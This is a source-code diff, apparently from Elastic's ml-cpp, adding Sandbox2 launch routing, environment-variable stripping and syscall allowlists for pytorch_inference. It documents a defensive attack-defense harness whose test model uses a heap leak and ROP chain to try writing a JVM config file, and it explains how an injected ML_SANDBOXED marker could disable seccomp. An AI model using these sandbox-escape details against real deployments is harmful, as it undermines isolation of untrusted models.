Control characters, quotes and backslashes are JSON-escaped so the line stays single-line JSON. | +| `model_id` | string | Scanned from a `--modelid=` launch argument, using the same linear string-prefix scan style as the controller's `--disableSandbox` token scan. Empty string if absent. Escaped as for `deployment_id`. | +| `route` | string | `"sandbox2"` when `CProcessSpawnerRouter::ERoute::E_Sandbox2` was in effect, `"legacy"` when the controller selected `E_Legacy` - either via the operator kill-switch (`--disableSandbox`), the operator opt-in (`--requireSandbox`) selecting Sandbox2 instead, or the no-token default (see "No-token default" below). | +| `legacy_reason` | string | **Only present when `route == "legacy"`** (equivalently, `mode == "degraded"`); **omitted entirely** - never `""`, never `null` - on `route == "sandbox2"`, i.e. on both `enforced` and `fail_closed`. `"kill_switch"` when a validated `--disableSandbox` token selected the legacy route, `"no_token_default"` when neither routing token was present. Provenance is passed in by `CCommandProcessor` (the only place it is known); the router never derives it from `args`. | +| `sandbox2_established` | boolean | JSON boolean (`true`/`false`, never the string `"y"`/`"n"`). `true` iff `mode == "enforced"`, else `false`. | +| `mode` | string | One of `"enforced"`, `"fail_closed"`, `"degraded"` - see mapping below. | +| `sandbox2_compiled_in` | boolean | JSON boolean. Sourced from `sandbox::CMlSandboxAvailability::isCompiledIn()`, computed once (a build-time-constant fact, not per-launch state) and included on **every** emitted line, unlike `legacy_reason` which is conditional on route. Lets a consumer distinguish "Sandbox2 supported but no routing token sent" (`route == "legacy"`, `legacy_reason == "no_token_default"`, `sandbox2_compiled_in == true`) from "built without Sandbox2 support at all" (`sandbox2_compiled_in == false`) - both otherwise emit identical `legacy`/`no_token_default`/`degraded` signals for every plain launch. | + +`legacy_reason` exists because `mode == "degraded"` alone conflates a +deliberate operator kill-switch launch with the permanent no-token +default - a caller that never sends either routing token always produces +`degraded`, so the mode carries no diagnostic information on its own. It is +additive: `event`/`deployment_id`/`model_id`/`route`/ +`sandbox2_established`/`mode` and their semantics are unchanged. + +**`mode` mapping** (binding rule): + +- `enforced` - `route == "sandbox2"` (a validated `--requireSandbox` token, + or - historically, before that token existed - the no-token default with + the now-removed internal enforcement seam) and the Sandbox2 spawn returned + `true`. +- `fail_closed` - `route == "sandbox2"` and the spawn returned `false` + (includes the build/deployment contradiction case where `processPath` is + configured as sandboxed but this build has no Sandbox2 support). +- `degraded` - `route == "legacy"` (operator kill-switch token present and + validated, or the no-token default in effect), regardless of whether the + legacy spawn itself succeeded or failed. `legacy_reason` names which of + the two it was, and is emitted only on this mode. + +### No-token default + +The command wire format defines exactly two routing tokens: +`--disableSandbox` (operator kill-switch, forces the legacy route) and +`--requireSandbox` (operator opt-in, forces the Sandbox2 route - no +automatic legacy fallback). They are mutually exclusive; a `start` command +naming both is rejected outright rather than resolved by precedence, and +each is separately rejected if repeated. + +A `start` command with **neither** token for a configured sandboxed process +path always selects the **legacy** route. This is the permanent behaviour +for any caller that sends no routing token - not a temporary rollout +seam - so a plain `pytorch_inference` launch behaves exactly as it did +before typed routing existed, on every platform, including builds without +Sandbox2 support. Elasticsearch is expected to always send exactly one of +the two tokens, chosen from the live value of its own operator setting at +launch time, so this branch exists for non-ES callers (support/debug +scripts, direct controller invocation) and the test harness. + +Provenance lines (`LOG_INFO`/`LOG_DEBUG`, `bin/controller/CCommandProcessor.cc`) +name which token (if any) decided the route - the router itself only ever +sees an already-decided route and never claims a token that was not +present. + +### In-process seccomp is legacy-route only + +`pytorch_inference` installs its own in-process seccomp filter - and emits +`{"ml_sandbox2_route":"legacy","event":"seccomp_installed"}` - only when +`ML_SANDBOXED` is **not** exactly `1`. On a Sandbox2-launched child +(`ML_SANDBOXED=1`, set by `CSandboxedProcessSpawner`), the installation, the +hard-termination decision and the attestation marker are all skipped +entirely: the executor's own policy is the security boundary, an install +attempt from inside the sandbox could fail and terminate an otherwise-healthy +enforced launch, and emitting the marker would attest a legacy-route filter +on a launch `sandbox2_launch` reports as `"route":"sandbox2"`. So a +`"route":"sandbox2"` launch never carries a `seccomp_installed` marker, and +that absence is expected, not a missing signal. + +`ML_SANDBOXED` is a fail-open marker, so it is stripped from the environment +of every child the legacy spawner launches +(`lib/core/CDetachedProcessSpawner.cc`, `detail::buildChildEnvironment()`) - +an inherited or externally injected `ML_SANDBOXED=1` in the controller's own +environment can therefore never suppress a legacy-route child's mandatory +in-process filter. Only `CSandboxedProcessSpawner` sets it, and only on real +sandboxees. + +Hard termination on a failed in-process seccomp installation +(`TERMINATE_ON_DEGRADED_SECCOMP_FAILURE` in +`bin/pytorch_inference/Main.cc`) is deliberately **off**: an ordinary launch +with no explicit routing token is a degraded-route launch, so terminating +would fail every launch on a host without usable seccomp BPF. It becomes +safe to activate once every caller that matters always sends an explicit +`--disableSandbox` or `--requireSandbox` token per launch. + +Example: + +```json +{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"sandbox2","sandbox2_established":true,"mode":"enforced","sandbox2_compiled_in":true} +{"event":"sandbox2_launch","deployment_id":"a1b2c3","model_id":"my-model","route":"legacy","legacy_reason":"no_token_default","sandbox2_established":false,"mode":"degraded","sandbox2_compiled_in":true} +``` + +Emission site: `bin/controller/CProcessSpawnerRouter.cc`, +`CProcessSpawnerRouter::spawn()` (via the private `emitLaunchSignal()` +helper) - chosen because this class owns both the already-decided route +parameter and the actual spawn-outcome boolean the `mode` field depends on. + +## Attack-defense harness evidence + +The required proof for the Sandbox2 security boundary is that the +attack-defense harness blocks maintained malicious models on the ml-cpp PR +tip, after proving each model actually reached execution (not merely that it +crashed before getting there). This closes only with a dated +`attack-defense-.md` record in this directory. This section +names the harness that produces that evidence and the exact command; it does +not itself constitute a closure record (no run has been recorded against a +head SHA yet - the harness requires production-like Linux with Sandbox2, so +it runs on Buildkite or a manual devbox rather than as a permanent CI gate; +permanent CI coverage is optional, but final-tip evidence before a release is +not). + +**Harness:** `test/test_sandbox2_attack_defense.py`, invoked via +`dev-tools/run_sandbox2_attack_defense.sh`. It drives the real controller / +`pytorch_inference` binaries through the actual +`$TMPDIR/ml-child-ipc/` per-child IPC layout (see +`include/sandbox/CPytorchInferenceSandboxPolicy.h`'s `SChildIpcLaunchSpec`), +and satisfies, for every case, the five-part evidence requirement (a +positive control, a reached marker, a negative assertion, a mechanism +assertion, and a cleanup assertion): an unsandboxed positive control +(`--disableSandbox`), a reached marker (a +`model loaded` line on the model's own `--logPipe`, plus either a +`request_id`-correlated output-pipe response or a confirmed post-load +process death), a negative assertion (protected file absent under +Sandbox2), a mechanism assertion (controller `start`/`kill` JSON responses +and `/proc` PID liveness for the PID parsed out of the controller's own +`Spawned ... with PID ` log line - the sandboxee is a child of the +Sandbox2 forkserver, not of the controller, so `/proc` `PPid` filtering +cannot find it), and a per-case cleanup assertion (`kill ` +against the controller reports failure once the case ends, proving the +child was reaped). + +Because the no-token default is always the legacy route, the harness sends +an explicit `--requireSandbox` token on every sandboxed case's `start` +command (and `--disableSandbox` on the positive-control case), and each case +asserts the route reported by that launch's own `sandbox2_launch` signal +(`sandbox2` for the sandboxed cases, `legacy` for the `--disableSandbox` +control) **before** any target-file assertion. Without both, a sandboxed +case could route to the legacy path and still show "no target file" for +entirely the wrong reason - a false pass on the security proof. + +**Command:** + +```bash +./dev-tools/run_sandbox2_attack_defense.sh +# or directly: +python3 test/test_sandbox2_attack_defense.py --test all +``` + +**Models exercised:** `model_benign.pt` (functional positive control - +Sandbox2 must not break a legitimate model) and `model_exploit.pt` (a +heap-address leak used to build a ROP chain that attempts to write +`/usr/share/elasticsearch/config/jvm.options.d/gc.options` outside the +sandboxed child's allowed scope). `model_leak.pt` is generated by +`test/evil_model_generator.py` but not asserted on separately - see that +harness's `test_exploit_model` docstring for why a standalone leak +assertion tested nothing beyond the exploit case. + +**A closing record must additionally capture:** host/kernel (e.g. +`uname -a`), date, pass/fail per model exercised, the cleanup result (each +case's kill/reap confirmation), and a CI/build link when available, named +`attack-defense-.md` in this directory. diff --git a/include/core/CDetachedProcessSpawner.h b/include/core/CDetachedProcessSpawner.h index 9d9bd1d98c..2b28f518f3 100644 --- a/include/core/CDetachedProcessSpawner.h +++ b/include/core/CDetachedProcessSpawner.h @@ -22,6 +22,68 @@ namespace ml { namespace core { namespace detail { class CTrackerThread; + +//! Platform note: the two CDetachedProcessSpawner_*.cc source files are +//! alternatives selected by ml_generate_platform_sources() at build time, +//! not compiled together, so each platform source file defines its own +//! copy of isStrippedChildEnvEntry() (and the platform-appropriate builder +//! below it) - on *nix over \c char environment entries (the encoding +//! \c environ / \c posix_spawn() use), on Windows over \c wchar_t +//! environment entries (the encoding \c GetEnvironmentStringsW() / +//! \c CreateProcessW() use - see the Windows branch below for why the ANSI +//! APIs are not used). +//! +//! Today the entry stripped is exactly \c ML_SANDBOXED, the Sandbox2 +//! sandboxee marker set by lib/sandbox/CSandboxedProcessSpawner_Linux.cc. A +//! child spawned by CDetachedProcessSpawner is never inside Sandbox2, and +//! pytorch_inference skips its own mandatory in-process seccomp filter when +//! it sees \c ML_SANDBOXED=1 (see include/seccomp/CSystemCallFilter.h +//! sandbox2LaunchedChild()), so inheriting the marker would fail open. +//! Matched on the exact name: \c ML_SANDBOXED_ANYTHING is not stripped. +//! Exposed for unit testing; not part of this class's public contract. + +#ifndef Windows +//! \return true if \p entry (a "NAME=VALUE" environment entry, or nullptr) +//! is one this class must never pass on to a spawned child. See the +//! namespace-level comment above. +CORE_EXPORT bool isStrippedChildEnvEntry(const char* entry); + +//! Build the environment array handed to \c posix_spawn() from +//! \p parentEnvironment (normally \c environ): every entry for which +//! isStrippedChildEnvEntry() is false, in order, then a NULL terminator. The +//! returned pointers alias \p parentEnvironment's own strings - no copies - +//! so the result must not outlive it. Exposed for unit testing. +CORE_EXPORT std::vector buildChildEnvironment(char** parentEnvironment); +#else +//! \return true if \p entry (a "NAME=VALUE" environment entry, or nullptr, +//! encoded as UTF-16 like the rest of this platform's environment block) is +//! one this class must never pass on to a spawned child. See the +//! namespace-level comment above. Case-insensitive: Windows environment +//! variable names are case-INSENSITIVE OS-wide, and the child-side reader +//! (std::getenv, via CSystemCallFilter::sandbox2LaunchedChild()) matches +//! case-insensitively too, so a differently-cased marker must still be +//! stripped here or it would survive and still be found by the child. +CORE_EXPORT bool isStrippedChildEnvEntry(const wchar_t* entry); + +//! Build the environment block handed to \c CreateProcessW() via its +//! \c lpEnvironment parameter from \p parentEnvironmentBlock (normally the +//! result of \c GetEnvironmentStringsW()): a new buffer containing every +//! "NAME=VALUE" entry from \p parentEnvironmentBlock for which +//! isStrippedChildEnvEntry() is false, in order, formatted per the Unicode +//! environment block convention \c CreateProcessW() requires with +//! \c CREATE_UNICODE_ENVIRONMENT (a sequence of NUL-terminated wide strings +//! followed by one extra terminating NUL). +//! +//! Deliberately native UTF-16 end to end (\c GetEnvironmentStringsW() in, +//! \c CreateProcessW() out, no narrow/wide round trip in between): the +//! previous \c GetEnvironmentStringsA()-based implementation round-tripped +//! the parent's native UTF-16 environment through the ANSI code page, which +//! silently mangles any value not representable in that code page (e.g. +//! \c TEMP / \c USERPROFILE under a non-ASCII Windows username) to '?' for +//! every Windows child - a regression this class must not reintroduce. +//! Exposed for unit testing. +CORE_EXPORT std::wstring buildChildEnvironmentBlock(const wchar_t* parentEnvironmentBlock); +#endif } //! \brief diff --git a/include/sandbox/CPytorchInferenceSandboxPolicy.h b/include/sandbox/CPytorchInferenceSandboxPolicy.h index 89495d48bc..b95525c70f 100644 --- a/include/sandbox/CPytorchInferenceSandboxPolicy.h +++ b/include/sandbox/CPytorchInferenceSandboxPolicy.h @@ -57,8 +57,9 @@ struct SChildIpcLaunchSpec { std::string s_ChildId; //! Canonical $TMPDIR/ml-child-ipc/ - the directory the native //! controller creates (mode 0700) before policy construction, and the - //! only host directory CSandboxedProcessSpawner maps to - //! /run/elastic/ml-ipc. Empty iff s_ChildId is empty. + //! only host directory CSandboxedProcessSpawner mounts into the sandbox + //! (at this same path - see buildPytorchInferenceFilesystemPolicy). + //! Empty iff s_ChildId is empty. std::string s_ChildIpcRoot; //! Canonical paths of every accepted path-bearing argument, always //! s_ChildIpcRoot plus exactly one leaf component. @@ -85,9 +86,53 @@ struct SChildIpcValidationResult { //! trustedTmpDir must already be the canonical form of the operator's //! Environment.tmpDir(); this function does not itself decide what counts //! as trusted. +//! +//! realpath() (POSIX) / _fullpath() (Windows) require their target to +//! already exist, so this can only succeed for a whose +//! $TMPDIR/ml-child-ipc/ directory has already been created - see +//! ensureChildIpcDirectory() below, which every caller must run first. SChildIpcValidationResult validateChildIpcLaunchSpec(const std::string& trustedTmpDir, const std::vector& args); +//! Outcome of ensureChildIpcDirectory(). +enum class EChildIpcDirectoryOutcome { + E_Ready, //!< $TMPDIR/ml-child-ipc/ exists now - freshly + //!< created, or already present (a retry/restart reusing the + //!< same child-id). + E_NoPathOptions, //!< no path-bearing launch option had the expected + //!< $TMPDIR/ml-child-ipc/ literal shape, so + //!< there was no directory to create. + //!< validateChildIpcLaunchSpec() still runs and reports + //!< the precise rejection reason for such an argument. + E_CreationFailed //!< mkdir() failed for a reason other than "already + //!< exists" (permissions, ENOSPC, a non-directory in + //!< the way, ...). +}; + +//! Create $TMPDIR/ml-child-ipc/ (mode 0700) for the single +//! implied by args' path-bearing launch options, *before* +//! validateChildIpcLaunchSpec() ever calls realpath()/canonicalize() on it. +//! This is the "native controller creates the per-child IPC directory" half +//! of the contract: Elasticsearch only ever constructs the path *strings* +//! it passes as --input=/--output=/--restore=/--logPipe= arguments; the +//! controller is responsible for making the directory those paths live in +//! exist (and be mode 0700) before anything tries to resolve or mount it. +//! Both production call sites that eventually reach +//! validateChildIpcLaunchSpec() - CSandboxedProcessSpawner_Linux.cc's +//! spawn() and CProcessSpawnerRouter::spawn() (via deriveDeploymentId(), for +//! the sandbox2_launch signal, which runs even on the legacy route) - must +//! call this first. +//! +//! Idempotent: an already-existing directory is E_Ready, not an error, so a +//! retry/restart that reuses the same child-id never fails here. Uses only +//! a *literal* (pre-canonicalization) structural match of trustedTmpDir +//! against args - it is deliberately not a security gate. The real +//! canonical-base/symlink-alias/depth checks still run afterwards, in +//! validateChildIpcLaunchSpec(), against whatever directory this function +//! creates or finds already there. +EChildIpcDirectoryOutcome ensureChildIpcDirectory(const std::string& trustedTmpDir, + const std::vector& args); + #ifdef SANDBOX2_AVAILABLE //! What buildPytorchInferenceFilesystemPolicy does with one of the seven @@ -127,7 +172,8 @@ const std::vector& allowlistedEtcFiles(); //! allowlistedEtcFiles - a read-only directory decision is mounted only if //! its source actually exists on this host, since Sandbox2 fails the whole //! spawn on a missing source), a private bounded tmpfs at /tmp, the one per-child -//! IPC root mapped to /run/elastic/ml-ipc, and the syscall allowlist shared +//! IPC root mounted at the same path inside and outside the sandbox (so +//! Elasticsearch's host-path argv still resolves), and the syscall allowlist shared //! with the legacy BPF filter //! (seccomp::pytorch_inference::legacyBpfAllowedSyscalls, kept in sync per //! that header's own comment). Does not call TryBuild() - the caller owns diff --git a/include/seccomp/CPytorchInferenceSyscallAllowlist.h b/include/seccomp/CPytorchInferenceSyscallAllowlist.h index ae12620006..3820210560 100644 --- a/include/seccomp/CPytorchInferenceSyscallAllowlist.h +++ b/include/seccomp/CPytorchInferenceSyscallAllowlist.h @@ -14,6 +14,7 @@ #include #ifdef __linux__ +#include #include #endif @@ -119,6 +120,187 @@ inline std::vector legacyBpfAllowedSyscalls() { return syscalls; } +//! Syscalls that must be explicitly granted (via AllowSyscall()) in the Sandbox2 +//! policy built by buildPytorchInferencePolicy(), on top of what Sandbox2's own +//! PolicyBuilder helpers (AllowRead/AllowWrite/AllowOpen/etc., see +//! sandbox2HelperCoveredSyscalls() below) already cover. Sandbox2's namespace and +//! threading setup make pytorch_inference exercise syscalls (scheduling, epoll, +//! pipes, directory/file management for forecast temp storage) that the simpler +//! legacy in-process BPF filter never needed a grant for, so this list is NOT a +//! subset check against legacyBpfAllowedSyscalls() - it is carried forward from +//! PR #2873's enhancement/sandbox2 branch (CPytorchInferenceSyscallAllowlist.h, +//! appendSandbox2ExplicitSyscalls()), which this clean rebuild's Sandbox2 policy +//! builder omitted; see CSeccompFilterBuilderTest.cc for the regression test that +//! keeps it from being silently dropped again. +inline std::vector sandbox2ExplicitSyscalls() { + std::vector syscalls { + __NR_sched_yield, + __NR_sched_getaffinity, + __NR_sched_setaffinity, + __NR_sched_getparam, + __NR_sched_getscheduler, + __NR_clone, + ML_NR_clone3, + __NR_set_tid_address, + __NR_set_robust_list, + ML_NR_rseq, + __NR_clock_gettime, + __NR_clock_getres, + __NR_clock_nanosleep, + __NR_gettimeofday, + __NR_nanosleep, + __NR_times, + __NR_epoll_create1, + __NR_epoll_ctl, + __NR_epoll_pwait, + __NR_eventfd2, + __NR_ppoll, + __NR_pselect6, + __NR_ioctl, + __NR_fcntl, + __NR_pipe2, + __NR_dup, + __NR_dup3, + __NR_lseek, + __NR_ftruncate, + __NR_readlinkat, + __NR_faccessat, + __NR_getdents64, + __NR_getcwd, + __NR_unlinkat, + __NR_renameat, + __NR_mkdirat, + __NR_mknodat, +#ifdef __NR_mknod + __NR_mknod, +#endif +#ifdef __NR_unlink + __NR_unlink, +#endif +#ifdef __NR_rmdir + __NR_rmdir, +#endif +#ifdef __NR_mkdir + __NR_mkdir, +#endif +#ifdef __NR_rename + __NR_rename, +#endif +#ifdef __NR_readlink + __NR_readlink, +#endif +#ifdef __NR_access + __NR_access, +#endif +#ifdef __NR_dup2 + __NR_dup2, +#endif + __NR_mprotect, + __NR_mremap, + __NR_madvise, + __NR_munmap, + __NR_brk, + __NR_sysinfo, + __NR_uname, + __NR_prlimit64, + __NR_getrusage, + __NR_prctl, +#ifdef __NR_arch_prctl + __NR_arch_prctl, +#endif + __NR_wait4, + __NR_exit, + __NR_getuid, + __NR_getgid, + __NR_geteuid, + __NR_getegid, + __NR_setpriority, + __NR_getpriority, + __NR_tgkill, + __NR_statfs, + __NR_connect, +#ifdef __NR_time + __NR_time, +#endif +#ifdef __NR_getdents + __NR_getdents, +#endif + }; + return syscalls; +} + +//! Syscalls covered by Sandbox2 PolicyBuilder helpers (AllowRead/AllowWrite/ +//! AllowOpen/etc. in buildPytorchInferencePolicy()) that are also present in +//! legacyBpfAllowedSyscalls() - tracked so sandbox2AllowsAllLegacySyscalls() can +//! assert Sandbox2 never grants strictly less than the legacy filter without +//! requiring every one of these to be repeated in sandbox2ExplicitSyscalls(). +inline std::vector sandbox2HelperCoveredSyscalls() { + std::vector syscalls { + __NR_read, + __NR_write, + __NR_writev, + __NR_openat, +#ifdef __NR_open + __NR_open, +#endif +#ifdef __NR_stat + __NR_stat, +#endif +#ifdef __NR_lstat + __NR_lstat, +#endif + __NR_close, + __NR_mmap, + __NR_munmap, + __NR_mprotect, + __NR_mremap, + __NR_madvise, + __NR_brk, + __NR_futex, + __NR_clone, + ML_NR_clone3, + __NR_set_robust_list, + ML_NR_rseq, + __NR_rt_sigaction, + __NR_rt_sigreturn, + __NR_rt_sigprocmask, + __NR_getpid, + __NR_getrandom, + __NR_exit, + __NR_exit_group, + __NR_newfstatat, + __NR_fstat, + __NR_getuid, + __NR_getgid, + __NR_geteuid, + __NR_getegid, + ML_NR_statx, + }; + return syscalls; +} + +//! Returns true when every legacy BPF syscall is also granted by the Sandbox2 +//! policy, either explicitly (sandbox2ExplicitSyscalls()) or via a PolicyBuilder +//! helper (sandbox2HelperCoveredSyscalls()). A regression here means a future +//! addition to legacyBpfAllowedSyscalls() was not carried over to the Sandbox2 +//! side, which is exactly the class of gap that dropped sandbox2ExplicitSyscalls() +//! from this rebuild in the first place. +inline bool sandbox2AllowsAllLegacySyscalls() { + std::set allowed; + for (int nr : sandbox2ExplicitSyscalls()) { + allowed.insert(nr); + } + for (int nr : sandbox2HelperCoveredSyscalls()) { + allowed.insert(nr); + } + for (int nr : legacyBpfAllowedSyscalls()) { + if (allowed.find(nr) == allowed.end()) { + return false; + } + } + return true; +} + #endif // __linux__ } // namespace pytorch_inference diff --git a/include/seccomp/CSystemCallFilter.h b/include/seccomp/CSystemCallFilter.h index d1d2e863ad..3caf1d32ec 100644 --- a/include/seccomp/CSystemCallFilter.h +++ b/include/seccomp/CSystemCallFilter.h @@ -13,6 +13,7 @@ #include +#include #include namespace ml { @@ -88,8 +89,19 @@ enum class EDegradedModeAction { //! ml-cpp/Elasticsearch controller protocol can guarantee a degraded-mode //! launch was a deliberate operator choice would fail every launch on a //! host lacking seccomp BPF, with no operator fallback setting to select -//! instead. Callers pass false today; a later change wires the real route -//! decision through this parameter once that guarantee exists. +//! instead. It is only safe to pass true where a degraded-mode launch is +//! guaranteed to be a deliberate route decision rather than the production +//! default. bin/controller's CProcessSpawnerRouter provides half of that +//! guarantee (it never retries a failed Sandbox2 spawn through the legacy +//! spawner), but while CCommandProcessor's no-token case still always +//! routes to legacy, and no caller is yet guaranteed to always send an +//! explicit --disableSandbox/--requireSandbox token, an ordinary launch +//! *is* a degraded-route launch, so bin/pytorch_inference/Main.cc passes +//! false. See the comment at TERMINATE_ON_DEGRADED_SECCOMP_FAILURE there +//! for when it flips. +//! This decision only ever +//! applies to a launch that installs its own in-process filter at all - see +//! sandbox2LaunchedChild() and applyInProcessSeccompFilter() below. inline EDegradedModeAction decideDegradedModeAction(ESystemCallFilterInstallOutcome outcome, bool terminateOnFailure) { if (outcome == ESystemCallFilterInstallOutcome::E_Installed || !terminateOnFailure) { @@ -116,6 +128,80 @@ inline std::string degradedModeAttestationMarker(ESystemCallFilterInstallOutcome return "{\"ml_sandbox2_route\":\"legacy\",\"event\":\"seccomp_installed\"}"; } +//! Pure form of the "was this process launched by the Sandbox2 executor?" +//! test, taking the raw ML_SANDBOXED environment value (nullptr when unset) +//! so it is testable on every platform without mutating the environment. +//! +//! pytorch_inference skips in-process seccomp only when ML_SANDBOXED is +//! *exactly* "1", the +//! value CSandboxedProcessSpawner_Linux.cc sets on a Sandbox2-launched +//! child. It is stripped from every legacy-route child's environment by +//! lib/core/CDetachedProcessSpawner.cc (detail::buildChildEnvironment(), +//! declared in include/core/CDetachedProcessSpawner.h), so an inherited or +//! injected ML_SANDBOXED in the controller's own environment can never +//! suppress a legacy-route child's mandatory in-process filter. Any other +//! value - unset, "", "0", "true", "10" - +//! is a legacy/non-sandboxed launch that must install its own filter. +inline bool sandbox2LaunchedChild(const char* mlSandboxedEnv) { + return mlSandboxedEnv != nullptr && std::string{mlSandboxedEnv} == "1"; +} + +//! \return true if this process is a Sandbox2-launched sandboxee, per +//! sandbox2LaunchedChild(const char*) applied to the live environment. +inline bool sandbox2LaunchedChild() { + return sandbox2LaunchedChild(std::getenv("ML_SANDBOXED")); +} + +//! Everything one launch's in-process seccomp startup step decided, so a +//! caller has no way to attest or terminate on a step that never ran. +struct SInProcessFilterResult { + //! False iff the filter installation was skipped because this process + //! is a Sandbox2 sandboxee (the executor's own policy is already the + //! security boundary). When false, every other field is the inert + //! "nothing happened" value. + bool s_Attempted{false}; + //! What the caller must do before untrusted IO/model processing. + EDegradedModeAction s_Action{EDegradedModeAction::E_ContinueDespiteFailure}; + //! Outcome of the installation attempt; meaningless when + //! s_Attempted == false. + ESystemCallFilterInstallOutcome s_Outcome{ESystemCallFilterInstallOutcome::E_Installed}; + //! degradedModeAttestationMarker() for s_Outcome, or empty when nothing + //! is attested. Always empty when s_Attempted == false: that marker + //! describes the *legacy* route's own filter installation, so emitting + //! it on a Sandbox2-route launch would both attest a filter that was + //! never installed and contradict the sandbox2_launch signal's + //! "route":"sandbox2" for the same launch. + std::string s_AttestationMarker; +}; + +//! Pure driver for the in-process seccomp startup step of a single launch. +//! +//! \param sandbox2Launched typically sandbox2LaunchedChild(); when true the +//! filter installation is skipped *entirely* - \p installer is never +//! invoked, no degraded-mode action is derived and no attestation +//! marker is produced, regardless of what an installation attempt +//! would have returned. Installing an in-process filter from inside +//! an already-sandboxed environment can fail (which would kill every +//! enforced-route launch once TERMINATE_ON_DEGRADED_SECCOMP_FAILURE is activated) or +//! succeed and mislabel the launch as legacy. +//! \param terminateOnFailure passed through to decideDegradedModeAction(). +//! \param installer invoked at most once; normally +//! CSystemCallFilter::installSystemCallFilter. +template +SInProcessFilterResult applyInProcessSeccompFilter(bool sandbox2Launched, + bool terminateOnFailure, + INSTALLER installer) { + SInProcessFilterResult result; + if (sandbox2Launched) { + return result; + } + result.s_Attempted = true; + result.s_Outcome = installer(); + result.s_Action = decideDegradedModeAction(result.s_Outcome, terminateOnFailure); + result.s_AttestationMarker = degradedModeAttestationMarker(result.s_Outcome); + return result; +} + class CSystemCallFilter : private core::CNonInstantiatable { public: //! Installs the platform syscall filter. Returns the typed outcome so a diff --git a/lib/core/CDetachedProcessSpawner.cc b/lib/core/CDetachedProcessSpawner.cc index 795fc9e56e..1ec2f0b17f 100644 --- a/lib/core/CDetachedProcessSpawner.cc +++ b/lib/core/CDetachedProcessSpawner.cc @@ -38,6 +38,11 @@ namespace { //! Maximum number of newly opened files between calls to setupFileActions(). const int MAX_NEW_OPEN_FILES{10}; +//! Environment variable name (without '=') that must never be inherited by a +//! child spawned by this class. See +//! ml::core::detail::isStrippedChildEnvEntry(). +const char* SANDBOXEE_MARKER_ENV_NAME{"ML_SANDBOXED"}; + //! Attempt to close all file descriptors except the standard ones. The //! standard file descriptors will be reopened on /dev/null in the spawned //! process. Returns false and sets errno if the actions cannot be initialised @@ -86,6 +91,31 @@ namespace ml { namespace core { namespace detail { +bool isStrippedChildEnvEntry(const char* entry) { + if (entry == nullptr) { + return false; + } + const std::size_t nameLength{::strlen(SANDBOXEE_MARKER_ENV_NAME)}; + // Exact name match only: "ML_SANDBOXED=..." is stripped, + // "ML_SANDBOXED_FOO=..." (a different variable that merely shares the + // prefix) is not. + return ::strncmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && + entry[nameLength] == '='; +} + +std::vector buildChildEnvironment(char** parentEnvironment) { + std::vector childEnvironment; + if (parentEnvironment != nullptr) { + for (char** entry = parentEnvironment; *entry != nullptr; ++entry) { + if (isStrippedChildEnvEntry(*entry) == false) { + childEnvironment.push_back(*entry); + } + } + } + childEnvironment.push_back(static_cast(nullptr)); + return childEnvironment; +} + class CTrackerThread : public CThread { public: using TPidSet = std::set; @@ -287,6 +317,20 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, } ::posix_spawnattr_setflags(&spawnAttributes, POSIX_SPAWN_SETPGROUP); + // The child inherits this process's environment with ML_SANDBOXED + // removed. That variable is the Sandbox2 sandboxee marker + // (lib/sandbox/CSandboxedProcessSpawner_Linux.cc sets ML_SANDBOXED=1 on + // the children it launches) and pytorch_inference skips its mandatory + // in-process seccomp filter when it sees ML_SANDBOXED=1 + // (include/seccomp/CSystemCallFilter.h sandbox2LaunchedChild()). A child + // spawned here is by definition *not* inside Sandbox2, so inheriting the + // marker - however it got into this process's own environment, e.g. + // injected by an orchestration layer - would fail open: the child would + // run untrusted model code with neither the executor policy nor its own + // filter. Stripping it here makes the legacy route's filter installation + // unconditional regardless of the spawning process's environment. + std::vector childEnvironment{detail::buildChildEnvironment(environ)}; + { // Hold the tracker thread mutex until the PID is added to the tracker // to avoid a race condition if the process is started but dies really @@ -294,7 +338,7 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, CScopedLock lock(m_TrackerThread->mutex()); int err(::posix_spawn(&childPid, processPath.c_str(), &fileActions, - &spawnAttributes, &argv[0], environ)); + &spawnAttributes, &argv[0], &childEnvironment[0])); ::posix_spawn_file_actions_destroy(&fileActions); ::posix_spawnattr_destroy(&spawnAttributes); diff --git a/lib/core/CDetachedProcessSpawner_Windows.cc b/lib/core/CDetachedProcessSpawner_Windows.cc index 8113fb866e..2c2a81ef14 100644 --- a/lib/core/CDetachedProcessSpawner_Windows.cc +++ b/lib/core/CDetachedProcessSpawner_Windows.cc @@ -19,12 +19,67 @@ #include #include +#include + +#include +#include #include +namespace { + +//! Environment variable name (without '=') that must never be inherited by a +//! child spawned by this class. See +//! ml::core::detail::isStrippedChildEnvEntry(). +const wchar_t* SANDBOXEE_MARKER_ENV_NAME{L"ML_SANDBOXED"}; +} + namespace ml { namespace core { namespace detail { +bool isStrippedChildEnvEntry(const wchar_t* entry) { + if (entry == nullptr) { + return false; + } + const std::size_t nameLength{::wcslen(SANDBOXEE_MARKER_ENV_NAME)}; + // Exact name match only: "ML_SANDBOXED=..." is stripped, + // "ML_SANDBOXED_FOO=..." (a different variable that merely shares the + // prefix) is not. Windows environment variable names are + // case-INSENSITIVE OS-wide (GetEnvironmentVariable/SetEnvironmentVariable + // and the CRT's getenv all normalise case internally on this platform), + // and the child-side reader (CSystemCallFilter::sandbox2LaunchedChild(), + // via std::getenv) inherits that case-insensitivity. Use ::_wcsnicmp + // (the MSVC/Windows CRT case-insensitive wcsncmp) so a differently-cased + // marker such as "ml_sandboxed=1" is still stripped here and cannot + // bypass the filter. + return ::_wcsnicmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && + entry[nameLength] == L'='; +} + +std::wstring buildChildEnvironmentBlock(const wchar_t* parentEnvironmentBlock) { + std::wstring block; + if (parentEnvironmentBlock != nullptr) { + const wchar_t* entry{parentEnvironmentBlock}; + while (*entry != L'\0') { + std::size_t entryLength{::wcslen(entry)}; + if (isStrippedChildEnvEntry(entry) == false) { + // Include the entry's own terminating NUL. + block.append(entry, entryLength + 1); + } + entry += entryLength + 1; + } + } + // Windows requires the block to end with an extra NUL beyond the last + // entry's own terminator. Handle the (unlikely) empty-block case + // explicitly so it is still correctly double-NUL-terminated. + if (block.empty()) { + block.append(std::size_t(2), L'\0'); + } else { + block.push_back(L'\0'); + } + return block; +} + class CTrackerThread : public CThread { public: using TPidHandleMap = std::map; @@ -175,22 +230,63 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, 